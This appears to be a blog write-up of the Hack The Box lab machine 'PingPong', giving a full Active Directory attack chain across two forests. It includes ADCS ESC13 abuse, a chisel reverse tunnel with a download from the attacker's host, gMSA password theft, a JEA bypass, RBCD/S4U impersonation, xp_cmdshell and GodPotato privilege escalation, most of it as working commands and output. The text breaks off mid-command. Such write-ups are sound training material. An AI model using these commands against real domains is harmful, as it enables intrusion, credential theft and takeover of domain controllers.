Hackthebox: PingPong

Foued SAIDI Lv5

Overview

PingPong is an insane-difficulty machine from Hack The Box with the following scenario: Assumed-breach creds (c.roberts) -> NTLM disabled so everything is Kerberos -> ADCS ESC13 enrollment of the TemporaryWinRM template -> PKINIT to recover c.roberts nthash and WinRM on DC1 -> discover a hidden second domain (pong.htb) behind a forest trust -> chisel reverse SOCKS5 + port forwards to reach DC2 -> cross-forest DACL abuse (foreign SID into gMSA Managers, groupType flip) -> read the Pong_gMSA$ password blob -> derive AES256 and mint a TGT -> JEA restricted endpoint + the ${path} file-as-variable trick to leak c.carlssen’s creds from PSReadLine history -> WinRM on DC2 as c.carlssen (user.txt) -> RBCD + S4U into MSSQL as c.adam -> xp_cmdshell -> GodPotato (SeImpersonatePrivilege) to SYSTEM on DC2 -> DCSync r.martinelli over the SOCKS pivot -> ADCS ESC4 to flip the SmartcardAuthentication template -> ESC1 enrollment with -sid (CVE-2022-26923) -> PKINIT to recover Administrator’s nthash -> root.txt.

This one is a monster. Two domain controllers, a forest trust, one of them completely hidden behind the other, NTLM disabled domain-wide so you live and breathe Kerberos the whole way, and a chain that bounces between ping.htb and pong.htb so many times I’m pretty sure that’s where the name comes from. Grab a coffee.

PingPong
PingPong

Reconnaissance

We start as always with a quick ping to make sure the box is alive:

1
ping -c 2 10.129.26.198
1
2
3
4
5
6
PING 10.129.26.198 (10.129.26.198) 56(84) bytes of data.
64 bytes from 10.129.26.198: icmp_seq=1 ttl=127 time=363 ms
64 bytes from 10.129.26.198: icmp_seq=2 ttl=127 time=328 ms

--- 10.129.26.198 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms

ttl=127 already screams Windows. Let’s throw an nmap at it:

1
nmap -Pn -n -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49152-49160 -sV --version-light -T4 10.129.26.198
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT      STATE    SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-28 14:25:04Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: ping.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open adws?
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Classic domain controller fingerprint: Kerberos, LDAP, DNS, SMB, WinRM, ADWS. The host is DC1 and the domain is ping.htb. Let’s add it to our hosts file so Kerberos can resolve everything:

1
echo '10.129.26.198 ping.htb dc1.ping.htb DC1' | sudo tee -a /etc/hosts

Now, because the whole box runs on Kerberos, we need a proper krb5.conf. I’m going to be greedy here and already define both realms, since I have a strong feeling pong.htb is going to show up later (spoiler: it does). The PONG.HTB KDC points at 127.0.0.1:88 because once our pivot is up, that loopback port gets forwarded straight to DC2’s KDC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sudo tee /etc/krb5.conf > /dev/null <<'EOF'
[libdefaults]
default_realm = PING.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
dns_canonicalize_hostname = false
rdns = false
udp_preference_limit = 0

[realms]
PING.HTB = {
kdc = 10.129.26.198:88
admin_server = 10.129.26.198
}
PONG.HTB = {
kdc = 127.0.0.1:88
admin_server = 127.0.0.1
}

[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
EOF

PingPong is an assumed-breach box, which means HTB hands us a starting credential: c.roberts / AssumedBreach123. Let’s validate it against SMB:

1
nxc smb 10.129.26.198 -u c.roberts -p 'AssumedBreach123' -d ping.htb
1
2
SMB    10.129.26.198   445    dc1   [*]  x64 (name:dc1) (domain:ping.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.26.198 445 dc1 [-] ping.htb\c.roberts:AssumedBreach123 STATUS_NOT_SUPPORTED

Two very important things here. See that (NTLM:False)? And the STATUS_NOT_SUPPORTED instead of a login success/failure? That means NTLM authentication is disabled domain-wide. Every single authentication from this point forward has to be Kerberos. No pass-the-hash, no NTLM relay against the DC, nothing. We’re doing this the hard way.

One more quirk before we start: the lab clock is roughly 8 hours ahead of my Kali box. Kerberos is extremely picky about clock skew (that’s the whole KRB_AP_ERR_SKEW pain), so instead of fighting my system clock I’m going to wrap every Kerberos command in faketime -f '+8h'. You’ll see that prefix a lot.

Let’s grab our first TGT:

1
2
3
4
5
cd /home/kali/pingpong
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
impacket-getTGT "ping.htb/c.roberts:AssumedBreach123" -dc-ip 10.129.26.198
'
1
[*] Saving ticket in c.roberts.ccache

And confirming it with klist:

1
2
3
4
5
Default principal: [email protected]

Valid starting Expires Service principal
04/28/2026 08:14:46 04/28/2026 18:14:46 krbtgt/[email protected]
renew until 04/29/2026 08:16:03

We have a valid ticket for c.roberts. Time to go hunting.

ESC13 - Enrolling the TemporaryWinRM template

The 593 (RPC over HTTP) and the overall AD-CS smell makes me want to check the certificate templates first. Let’s point certipy at the CA and look for anything vulnerable:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
certipy-ad find -k -no-pass -dc-ip 10.129.26.198 -target dc1.ping.htb \
-enabled -vulnerable -stdout
'

The interesting hit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Template Name                       : TemporaryWinRM
Display Name : Temporary WinRM
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Requires Manager Approval : False
Schema Version : 2
Issuance Policies : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Groups : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Domain Users
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\Domain Users
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.

This is ESC13. The short version: this template’s issuance policy OID is linked (via msDS-OIDToGroupLink) to the security group TempWinRMAccess, and Domain Users are allowed to enroll. When we authenticate with PKINIT using a cert minted from this template, the KDC looks at that linked issuance policy and helpfully injects the TempWinRMAccess SID into the PAC of the resulting ticket. In other words: enrolling this cert effectively makes us a member of a group we were never added to - and that group grants WinRM on DC1.

So let’s enroll as c.roberts:

1
2
3
4
5
6
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
certipy-ad req -k -no-pass -dc-ip 10.129.26.198 -target dc1.ping.htb \
-ca ping-DC1-CA -template TemporaryWinRM \
-upn [email protected] -out c.roberts
'
1
2
3
4
[*] Successfully requested certificate
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.roberts.pfx'

Two things worth pocketing here: the .pfx itself, and c.roberts’s SID S-1-5-21-750635624-2058721901-1932338391-2617. Write that SID down, we’re going to need it when we start abusing the trust.

Now we PKINIT with the cert to pull a TGT (and, for free, c.roberts’s NT hash via UnPAC-the-hash):

1
2
3
4
5
6
rm /home/kali/pingpong/c.roberts.ccache
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
certipy-ad auth -pfx /home/kali/pingpong/c.roberts.pfx -dc-ip 10.129.26.198 \
-domain ping.htb -username c.roberts
'
1
2
3
[*] Got TGT
[*] Trying to retrieve NT hash for 'c.roberts'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:2475be69d40e815588a85fd89c7a439d

The ticket in our cache now carries the TempWinRMAccess SID thanks to ESC13, so let’s WinRM into DC1 and do some local recon. I want my token’s groups, my IP config, and crucially, what DNS and the trust look like:

1
2
3
4
5
6
7
8
9
10
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
evil-winrm -i dc1.ping.htb -r ping.htb -c /home/kali/pingpong/c.roberts.pfx
' <<'EOF'
whoami /groups
ipconfig /all
nslookup pong.htb
nltest /domain_trusts
exit
EOF

The highlights:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PING\TempWinRMAccess    Group    S-1-5-21-750635624-2058721901-1932338391-2602 ...
PING\IT Group S-1-5-21-750635624-2058721901-1932338391-2618 ...

Ethernet adapter vEthernet (Switch01):
IPv4 Address. . . . . . . . . . . : 192.168.2.1(Preferred)

Ethernet adapter Ethernet0 2:
IPv4 Address. . . . . . . . . . . : 10.129.26.198(Preferred)

Name: pong.htb
Address: 192.168.2.2

List of domain trusts:
0: pong pong.htb (NT 5) (Direct Outbound) (Direct Inbound) ( Attr: foresttrans )
1: PING ping.htb (NT 5) (Forest Tree Root) (Primary Domain) (Native)

Okay, this is where the box opens up. Four things jumped out:

  • DC1 has a second NIC at 192.168.2.1/24 into a hidden network we can’t touch from our VPN.
  • There’s a DC2 at 192.168.2.2 serving pong.htb, completely hidden behind DC1.
  • There’s a forest trust between ping.htb and pong.htb.
  • My token now also carries PING\IT with SID ending in -2618. Remember that one, it’s the key to the trust abuse.

So the real target, pong.htb, is sitting on an isolated subnet that only DC1 can reach. We need a tunnel.

Pivoting DC1 -> DC2 with chisel

We’re going to use chisel to build a reverse tunnel from DC1 back to our Kali box, and forward all the ports we’ll need to reach DC2. First, the chisel server on our side:

1
/home/kali/pingpong/chisel server -p 9999 --reverse > /home/kali/pingpong/chisel-server.log 2>&1 &
1
2
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999

Then a quick HTTP server so DC1 can grab the chisel binary:

1
python3 -m http.server 8888 > /home/kali/pingpong/http.log 2>&1 &

Small detour on how we drive WinRM. The evil-winrm heredoc gets clumsy for scripted commands, so I wrote a tiny pypsrp wrapper that gives much cleaner control over the remote runspace (and lets me target JEA configurations later):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sys, os
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool

server = sys.argv[1]
script = sys.argv[2]
config_name = sys.argv[3] if len(sys.argv) > 3 else "Microsoft.PowerShell"
nego_svc = os.environ.get('NEGO_SVC', 'WSMAN')

wsman = WSMan(server, port=5985, ssl=False, auth='kerberos', encryption='always',
cert_validation=False, negotiate_service=nego_svc)
with RunspacePool(wsman, configuration_name=config_name) as pool:
ps = PowerShell(pool); ps.add_script(script)
for o in ps.invoke(): print(o)
if ps.had_errors:
for s in ps.streams.error: print("ERR:", s, file=sys.stderr)

One gotcha: DC1 only registers the SPN HTTP/dc1.ping.htb, but pypsrp defaults to WSMAN/. So whenever I use this script against DC1 I pass NEGO_SVC=HTTP to switch the service class, otherwise Kerberos refuses to hand out the ticket.

Now the fun part. We upload chisel to DC1 and start a reverse client that forwards a SOCKS proxy plus every DC2 port we care about - WinRM, SMB, MSSQL, Kerberos, LDAP(S), RPC - all back to loopback on Kali:

1
2
3
4
5
6
7
8
9
10
11
$base = "C:\Users\C.Roberts\AppData\Local\Temp"
$dest = "$base\chisel.exe"
if (-not (Test-Path $dest)) { iwr -Uri http://10.10.17.248:8888/chisel.exe -OutFile $dest -UseBasicParsing }
$proc = Start-Process -FilePath $dest -ArgumentList `
"client","10.10.17.248:9999",`
"R:1080:socks","R:5985:192.168.2.2:5985","R:445:192.168.2.2:445",`
"R:1434:192.168.2.2:1433","R:88:192.168.2.2:88",`
"R:389:192.168.2.2:389","R:636:192.168.2.2:636","R:135:192.168.2.2:135" `
-WindowStyle Hidden -PassThru
Start-Sleep 5
"PID=$($proc.Id) HasExited=$($proc.HasExited)"

We run that through the pypsrp wrapper (NEGO_SVC=HTTP) and the chisel server log lights up beautifully:

1
2
3
4
5
6
7
8
9
session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
session#1: tun: proxy#R:5985=>192.168.2.2:5985: Listening
session#1: tun: proxy#R:445=>192.168.2.2:445: Listening
session#1: tun: proxy#R:1434=>192.168.2.2:1433: Listening
session#1: tun: proxy#R:88=>192.168.2.2:88: Listening
session#1: tun: proxy#R:389=>192.168.2.2:389: Listening
session#1: tun: proxy#R:636=>192.168.2.2:636: Listening
session#1: tun: proxy#R:135=>192.168.2.2:135: Listening
session#1: tun: Bound proxies

Notice I mapped DC2’s MSSQL 1433 to local 1434 just to avoid clashing with anything local. From now on, 127.0.0.1 on my Kali box is DC2 for most services, which is exactly why the PONG.HTB KDC in our krb5.conf pointed at 127.0.0.1:88.

Last piece of plumbing: add DC2 to our hosts file. The FQDN has to come first:

1
echo '127.0.0.1 dc2.pong.htb DC2 pong.htb' | sudo tee -a /etc/hosts

Why FQDN first? Because MIT krb5 uses the first hostname matching an IP for SPN canonicalization. If pong.htb came first, gssapi would go request WSMAN/pong.htb and Kerberos would faceplant. Little detail, big headache if you get it wrong.

Cross-domain DACL chain -> ReadGMSAPassword on Pong_gMSA$

Now we abuse the forest trust. Remember our token carries PING\IT (SID -2618). Let’s see what that gets us over on pong.htb. First, pre-fetch the cross-realm referral TGT and an LDAP TGS for DC2 (this forces the PONG.HTB referral through the trust):

1
2
3
4
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
kvno ldap/dc2.pong.htb
'
1
ldap/[email protected]: kvno = 6

The referral works. Now let’s read pong.htb’s domain SID and go poke at a juicy-sounding group called gMSA Managers:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
get object "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" --attr "*"
'
1
2
3
4
5
distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
groupType: -2147483646
nTSecurityDescriptor: O:S-1-5-21-750635624-2058721901-1932338391-2618G:...
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1104
sAMAccountName: gMSA Managers

Look at the owner (O:) of that security descriptor: S-1-5-21-750635624-2058721901-1932338391-2618. That’s PING\IT - the group we’re already in across the trust. Owning an object gives us an implicit WriteDacl, so we effectively control this group from the other forest.

The plan is to add c.roberts (a foreign principal, since we’re PING and the group is PONG) as a member of gMSA Managers. But AD makes that annoying on purpose:

  1. First, grant ourselves an explicit GenericAll so bloodyAD’s subsequent writes are unambiguous.
  2. The group is currently a Global security group (groupType: -2147483646), and Global groups can’t hold foreign principals. Universal groups reject foreign security principals too (ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS). Only DomainLocal groups accept them. So we have to flip Global -> Universal -> DomainLocal.
  3. Then add c.roberts’s SID as a member.

Granting ourselves GenericAll first:

1
2
3
4
5
6
CROBERTS_SID='S-1-5-21-750635624-2058721901-1932338391-2617'
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
add genericAll 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' '$CROBERTS_SID'
"
1
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Flipping the group type (Universal -2147483640, then DomainLocal -2147483644):

1
2
3
4
5
6
7
8
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483640
KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
set object 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' groupType -v -2147483644
"

And finally dropping c.roberts in:

1
2
3
4
5
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
add groupMember 'CN=gMSA Managers,CN=Users,DC=pong,DC=htb' '$CROBERTS_SID'
"
1
[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Group membership lands in the PAC, and our current ticket was issued before we added ourselves, so it won’t reflect the change. We re-mint a fresh TGT to pick up the new membership:

1
2
3
4
5
rm /home/kali/pingpong/c.roberts.ccache
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
impacket-getTGT "ping.htb/c.roberts:AssumedBreach123" -dc-ip 10.129.26.198
'

gMSA Managers grants ReadGMSAPassword over the Pong_gMSA$ managed service account. Let’s read its password blob:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
get object "Pong_gMSA$" --attr msDS-ManagedPassword
'
1
2
3
distinguishedName: CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:4b85a2a049588810c1267e4018b07a07
msDS-ManagedPassword.B64ENCODED: eFkbWLHQ9ZrAkNUPkIoyBnuGsnXyZOPO5eNOWWlCXuW+...Ra9ozQ==

We also want its DNS hostname, SAM name, and supported encryption types, because they feed the AES derivation next:

1
2
3
4
5
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.roberts.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k \
get object "Pong_gMSA$" --attr dNSHostName,sAMAccountName,msDS-SupportedEncryptionTypes
'
1
2
3
dNSHostName: gmsa.pong.htb
msDS-SupportedEncryptionTypes: 28
sAMAccountName: Pong_gMSA$

msDS-SupportedEncryptionTypes: 28 means AES only. The NT hash from the blob is useless to us (NTLM is disabled anyway), so we have to derive the AES256 key ourselves.

Deriving AES256 for Pong_gMSA$ and minting a TGT

gMSA passwords are 256-byte blobs of random UTF-16. To turn that into a usable Kerberos key we run it through the AES string-to-key with the account’s salt. The salt format for a machine/managed account is <UPPER-REALM>host<lowercase sam without the $>.<lowercase dnsHostName>, which for us works out to PONG.HTBhostpong_gmsa.pong.htb:

1
2
3
4
5
6
7
8
import base64
from impacket.krb5.crypto import _AES256CTS, _AES128CTS
b64 = "eFkbWLHQ9ZrAkNUPkIoyBnuGsnXyZOPO5eNOWWlCXuW+...Ra9ozQ=="
blob = base64.b64decode(b64)
pwd = blob.decode('utf-16-le','replace').encode('utf-8')
salt = b'PONG.HTBhostpong_gmsa.pong.htb'
print("AES256:", _AES256CTS.string_to_key(pwd, salt, b'\x00\x00\x10\x00').contents.hex())
print("AES128:", _AES128CTS.string_to_key(pwd, salt, b'\x00\x00\x10\x00').contents.hex())
1
2
AES256: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
AES128: c48ae0b9895ebd9e1fe44ce34d3b696e

Now we request a TGT for Pong_gMSA$ using that AES256 key, through the tunnelled PONG KDC on 127.0.0.1:

1
2
3
4
5
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
impacket-getTGT -aesKey 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a \
-dc-ip 127.0.0.1 'pong.htb/Pong_gMSA\$'
"
1
[*] Saving ticket in Pong_gMSA$.ccache

We now hold a Kerberos identity on pong.htb. The question is what Pong_gMSA$ can actually do.

JEA on DC1 as Pong_gMSA$ -> stealing c.carlssen’s creds

It turns out Pong_gMSA$ has access to a constrained JEA (Just Enough Administration) endpoint back on DC1 called restricted. Let’s pre-fetch the cross-realm TGS (this time PONG -> PING, the other direction of the trust) for the WinRM SPN:

1
2
3
4
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
kvno HTTP/dc1.ping.htb
'
1
HTTP/[email protected]: kvno = 7

Now connect to the restricted configuration (via the config_name arg of our pypsrp script) and list what cmdlets we’re even allowed to run:

1
2
3
4
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
python3 /home/kali/pingpong/run_psrp.py dc1.ping.htb "Get-Command" restricted
'
1
2
3
4
5
6
7
8
Clear-Host
Exit-PSSession
Get-Command
Get-FormatData
Get-Help
Measure-Object
Out-Default
Select-Object

Eight cmdlets, and the language mode is ConstrainedLanguage:

1
2
3
4
5
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
python3 /home/kali/pingpong/run_psrp.py dc1.ping.htb \
"\$ExecutionContext.SessionState.LanguageMode" restricted
'
1
ConstrainedLanguage

So: no Get-Content, no FileSystem provider, no method invocation, no nothing. This looks like a dead end… except for one lovely piece of PowerShell language syntax that survives ConstrainedLanguage. ${C:\path\to\file} isn’t a cmdlet - it’s a variable reference to a file via the FileSystem provider, and it reads the file contents straight into a variable. JEA whitelists cmdlets, not language syntax, so this slips right through.

The obvious target is the gMSA’s own PSReadLine history:

1
2
3
4
5
6
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
python3 /home/kali/pingpong/run_psrp.py dc1.ping.htb \
"\${C:\\Users\\Pong_gMSA\$\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt}" \
restricted
'
1
2
3
4
5
6
7
8
9
10
ls
hostname
whoami /all
Get-ExecutionPolicy
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
Get-Process
Get-Service
... [snip] ...
$c = New-object System.management.automation.pscredential("pong\c.carlssen,$(convertto-securestring -asplaintext -force "A()DUJ!@414"))
Enter-pssession -computername dc2.pong.htb -credential $c

And there it is, sitting in cleartext at the bottom of the history file: c.carlssen / A()DUJ!@414. Someone left their credentials in a one-liner. Classic.

WinRM on DC2 as c.carlssen -> user.txt

Grab a TGT for c.carlssen through the tunnelled KDC:

1
2
3
4
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
impacket-getTGT "pong.htb/c.carlssen:A()DUJ!@414" -dc-ip 127.0.0.1
'

Then PSRemote into DC2 and grab the user flag (I’m using [System.IO.File]::ReadAllText since that goes through a normal, full-language runspace here):

1
2
3
4
5
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
python3 /home/kali/pingpong/run_psrp.py dc2.pong.htb \
"whoami; whoami /groups; [System.IO.File]::ReadAllText(\"C:\\Users\\C.Carlssen\\Desktop\\user.txt\")"
'
1
2
3
4
5
6
pong\c.carlssen

pong\IT Service Admins Group S-1-5-21-2410575906-3092493790-2123333151-1108 ...
BUILTIN\Remote Management Users ...

7744750761c41153d78c50526441dbe6

USER FLAG: 7744750761c41153d78c50526441dbe6

And notice c.carlssen sits in pong\IT Service Admins - which is exactly the lever we need for the next step.

RBCD on svc_sql -> S4U -> MSSQL as c.adam

Let’s enumerate the pieces for a resource-based constrained delegation attack. We want the SQL service account, the account mapped to sysadmin, and the principal we’ll use as the RBCD “actor”:

1
2
3
4
5
6
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k get object svc_sql --attr objectSid,servicePrincipalName
KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k get object c.adam --attr objectSid,memberOf
'
1
2
3
4
5
6
CN=svc_sql,OU=Service Accounts,DC=pong,DC=htb
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1119
servicePrincipalName: mssqlsvc/dc2.pong.htb

CN=C.Adam,CN=Users,DC=pong,DC=htb
memberOf: CN=Database Admins,CN=Users,DC=pong,DC=htb

So svc_sql runs the MSSQL service (mssqlsvc/dc2.pong.htb), and c.adam is a Database Admins member, which maps to sysadmin inside SQL. The idea: as IT Service Admins, c.carlssen can write msDS-AllowedToActOnBehalfOfOtherIdentity on svc_sql. We point it at Pong_gMSA$ (a principal we already fully control), then use S4U2Self/S4U2Proxy to mint an MSSQL service ticket as c.adam.

Set the RBCD:

1
2
3
4
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
bloodyAD --host dc2.pong.htb -d pong.htb -k add rbcd svc_sql 'Pong_gMSA\$'
"
1
[+] Pong_gMSA$ can now impersonate users on svc_sql via S4U2Proxy

Now the S4U dance, impersonating C.Adam to the mssqlsvc SPN, using our gMSA ticket:

1
2
3
4
5
faketime -f '+8h' bash -c "
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/pong_gmsa.ccache \
impacket-getST -spn 'mssqlsvc/dc2.pong.htb' -impersonate 'C.Adam' \
-k -no-pass -dc-ip 127.0.0.1 'pong.htb/Pong_gMSA\$'
"
1
2
3
4
[*] Impersonating C.Adam
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in C.Adam@[email protected]

Authenticate to MSSQL with that ticket (remember 1433 is forwarded to local 1434), confirm we’re sysadmin, and flip on xp_cmdshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf \
KRB5CCNAME=/home/kali/pingpong/C.Adam@[email protected] \
impacket-mssqlclient -k -no-pass pong.htb/[email protected] \
-dc-ip 127.0.0.1 -port 1434
' <<'EOF'
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'whoami /priv';
exit
EOF
1
2
3
4
5
6
SQL (pong\C.Adam  dbo@master)> 1                 -- IS_SRVROLEMEMBER('sysadmin')
INFO(DC2): Configuration option 'xp_cmdshell' changed from 0 to 1.
pong\svc_sql -- xp_cmdshell runs as the service account

SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled

We’re sysadmin, command execution runs in the pong\svc_sql context, and - the magic words - SeImpersonatePrivilege is Enabled. That’s a free ticket to SYSTEM via a Potato attack.

GodPotato -> SYSTEM on DC2

Grab the NET4 build of GodPotato:

1
2
curl -sL https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe \
-o /home/kali/pingpong/GodPotato.exe

We stage it to C:\ProgramData\gp.exe on DC2. Since we’re driving everything through WinRM as c.carlssen, I base64-embed the binary into a PowerShell script and write it out with [System.IO.File]::WriteAllBytes, then loosen the ACL so the SQL service account can execute it:

1
2
3
4
5
6
$bytes = [System.Convert]::FromBase64String("__B64__")
$dest = "C:\ProgramData\gp.exe"
[System.IO.File]::WriteAllBytes($dest, $bytes)
$acl = Get-Acl $dest
$ar = New-Object System.Security.AccessControl.FileSystemAccessRule("Users","ReadAndExecute","Allow")
$acl.AddAccessRule($ar); Set-Acl $dest $acl
1
2
3
4
5
6
B64=$(base64 -w0 /home/kali/pingpong/GodPotato.exe)
sed -i "s|__B64__|$B64|" /home/kali/pingpong/upload_gp.ps1
NEGO_SVC=HTTP faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf KRB5CCNAME=/home/kali/pingpong/c.carlssen.ccache \
python3 /home/kali/pingpong/run_psrp.py dc2.pong.htb "$(cat /home/kali/pingpong/upload_gp.ps1)"
'

Now, back in the MSSQL shell, we fire GodPotato through xp_cmdshell. Since we have SYSTEM via the potato, the cleanest move is to add c.carlssen to the local Administrators group on DC2:

1
2
3
4
5
6
7
8
9
10
11
faketime -f '+8h' bash -c '
KRB5_CONFIG=/etc/krb5.conf \
KRB5CCNAME=/home/kali/pingpong/C.Adam@[email protected] \
impacket-mssqlclient -k -no-pass pong.htb/[email protected] \
-dc-ip 127.0.0.1 -port 1434
' <<'EOF'
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'C:\ProgramData\gp.exe -cmd "cmd /c net localgroup administrators pong\c.carlssen /add"';
exit
